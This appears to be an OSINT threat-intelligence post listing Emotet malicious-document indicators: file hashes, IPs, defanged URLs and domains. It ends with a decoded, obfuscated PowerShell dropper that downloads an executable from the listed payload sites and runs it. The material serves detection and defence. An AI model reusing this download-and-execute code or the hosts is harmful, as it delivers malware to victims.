Emotet_Doc_out_2020-09-26_14_26.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
89330bfd1e55e367418cde1f916544fbcc67b1e91f018b1ae886e0126bc56aa9
f7cffbe586a143c6f536e5b1b6e586504b46f8f74e5b8c1bed7eb63ea6f83c56
614c937446ff663272b12024b799c803935aafdf6c51f49ddc2b345084f6c458
a48347d6261928fa3e7e6d5bfd62588b4396a3144bbd63ce8d7d89eed8509867
d95d47b0ff10920b9414f3bb0e07d3127090d45956719953e2c3e29d7ff6d326
9e9d0d2075fc44e62f8bffd65480741ac00e708030fbdbd2486d66a7fa37dd9d
85b05659e9157af806f3d1861f5a87cb6e3955b3fa30e8c9a9148f8c78426848
18a489cd7e886b67ff5d2f0ffcfa32b761623dcb8fb7a092d6e504bed253bf27
41e08c76f63ad10eef590e50d46391f44edd31b9f81ff6df0a2eaf6fc2444646
05d7164a911316ca65eef36fb07402a3eab4e12a6725715aa2ca44439e9b4947
fb004b38ebd96bf8001ccc0bd7c02e886119c1edc18faf87dbd19238a15673ce
28a4375c5b9b8810beab924e04ca34cba98e1beb9994113664043fa471fc19e4
4893d5828613a7b157505151182a80ad894439fe4f65ebeb87fcf641880ca47a


IPs:
103.129.99.42
13.229.25.57
148.66.138.103
178.128.103.36
3.13.43.20
35.208.84.24
67.225.255.188



URLs:
hxxp://ibccglobal.com/thankyou2/ARA/
hxxp://work.digitalvichar.com/1mv7clu/o/
hxxp://13.229.25.57/7xdfb/jpA/
hxxp://binarystationary.com/cgi-bin/5rM/
hxxp://fmcav.com/images/ZQF/
hxxps://kodiakheating.com/ldnha/ybI/
hxxps://khvs.vrfantasy.gallery/igiodbck/eXq/


Domains:
ibccglobal.com
work.digitalvichar.com
binarystationary.com
fmcav.com
kodiakheating.com
khvs.vrfantasy.gallery


Decoded Base64 Powershell:
<���^,$Sch4zj2=Z_zrj3a;
.new-item $EnV:UsERPROfile\Ic4EGVu\C_zSk5X\ -itemtype dIrectoRY;
[Net.ServicePointManager]::"s`EcU`R`ITy`pRoTOCol" = tls12, tls11, tls;
$Ix8xpnq = Bp6p4xpk;
$P8ppyft=R8ngy6d;
$Wfo_odf=$env:userprofile{0}Ic4egvu{0}C_zsk5x{0} -F [ChaR]92$Ix8xpnq.exe;
$Bfh7dum=Dq70hpc;
$Uryb0di=.new-object NET.WEBCLient;
$Wepbdfo=hxxp://ibccglobal.com/thankyou2/ARA/
hxxp://work.digitalvichar.com/1mv7clu/o/
hxxp://13.229.25.57/7xdfb/jpA/
hxxp://binarystationary.com/cgi-bin/5rM/
hxxp://fmcav.com/images/ZQF/
hxxps://kodiakheating.com/ldnha/ybI/
hxxps://khvs.vrfantasy.gallery/igiodbck/eXq/."spL`it"[char]42;
$Xhdnmml=Eru6xnp;
foreach$Xs0hsv2 in $Wepbdfo{try{$Uryb0di."Do`W`NlOaD`FilE"$Xs0hsv2, $Wfo_odf;
$Ue2shos=Oqjiku3;
If &Get-Item $Wfo_odf."LeN`g`TH" -ge 25571 {.Invoke-Item$Wfo_odf;
$Sjq22_1=J1w_sm3;
break;
$Ihdyvqt=B48cdux}}catch{}}$Ha9e04b=Ay6z8bc